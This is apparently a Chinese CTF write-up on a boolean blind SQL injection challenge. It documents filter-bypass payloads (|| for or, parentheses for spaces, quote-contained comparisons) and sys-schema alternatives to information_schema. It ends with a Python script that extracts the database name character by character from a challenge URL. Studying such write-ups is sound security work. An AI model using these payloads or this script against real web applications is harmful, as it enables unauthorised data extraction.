Author:颖奇L’Amore

Blog:www.gem-love.com

不知道这比赛是不是正在进行,防止被搜到,就不写出来比赛名称了


考点:布尔盲注

难度:简单

水群时候看到有人发的:

然后就去看了看,直接穿进去id数字然后进行查询

他这个题会直接输出过滤后的语句,所以能很直观的看到什么东西被ban掉了,就像这样:

简单fuzz后发现ban掉的有:

  • or and &&
  • 空格 /**/
  • # —

还发现,id为1加上点什么符号,只要不破坏SQL语句结构,查询都能返回1的结果,比如:

1"   1a    1[

然而当查询的id为1’时候就输出不来东西了,说明id的值应该是被单引号包裹的。

继续测试,发现1||1=1这样结构的语句不能执行。

 

接下来分析fuzz结果:

  • 没有or and &&可以用||代替or
  • 空格可以用括号绕过
  • 没有注释符就必须要把语句全部都放到他的这个单引号内执行

最开始想的是堆叠直接往出注,但是没成功:

然后开始测试布尔注入,因为是有单引号,里面保存的是字符串,可以利用字符串代替数字,平时用的比较多的是id=1||1=1,改成id='1'||'1'='1'同样有效。猜测它查询的SQL语句大概为:

select * from table where id = '$_GET["id"]' limit 0,1;

所以利用或运算,构造0||1使查询结果为True,Payload:

成功,布尔盲注可行。接下来就是要在||后面构造自己的查询语句,测试发现0'||(substr((select('y1ng')),1,1))='y成功:

题目告诉让拿到数据库名,然后用hackbar的SQLI得到的查询数据库的语句是这样的:

select group_concat(schema_name) from information_schema.schemata

这虽然可以得到全部库,但是or被ban了,information_schema是含有or的,所以以上Payload不可用。

对于无information_schema的SQL注入也是常考题型,比如i春秋2020新春战“疫”网络安全公益赛GYCTF第二天Ezsqli(点击可以查看本题目的WP),顺便推荐一篇文章:

聊一聊bypass information_schema    https://www.anquanke.com/post/id/193512

尽管sys.schema_table_statistics_with_buffer除了包含表名外还有数据库名,如图:

但在查询中我们并不能通过where来指定输出哪一行查询结果,因为table_name不知道,其他的column也都不知道或者不具有特异型,两种方法:

第一种,利用limit逐个往出跑,但效率不高

第二种,用group_concat()连接起来一起输出:

btw,sys库里还有很多可用的,可以参考Yunen师傅的MySQL注入圣经:

https://xz.aliyun.com/t/7169#toc-53

这样基本已经够了,然而实际上还可以更简单粗暴一些,mysql中直接database()可以得到当前数据库,如果当前数据库的名就是它要的结果,直接select(database());就可以了。

本题中,我跑完当前数据库尝试跑了一下sys库,没出来东西,就没再继续测试了,当前库可以跑出来,题目应该就是要跑database(),脚本:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests
from urllib.parse import quote as urlen
url  = 'http://47.100.93.16:9999/36382e8a7eb0a7b5f9c0cf885e370dbc/index.php?id='
alphabet = ['{','}', '@', '_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

sql = "select(database())" #SQL查询语句

result = ''
for i in range(1,20):
	for char in alphabet:
		payload = "?id=0'||(substr(({}),{},1))='{}".format(sql,i,char)
		# payload = urlen(payload)
		urlnew = url + payload
		r = requests.get(urlnew)
		if r'Dumb' in r.text:
			result += char
			print("find: "+result)
		# else:
		# 	print(char)

跑出数据库名:7bB829bB9749093bB48

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2289.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

分类: CTF

颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image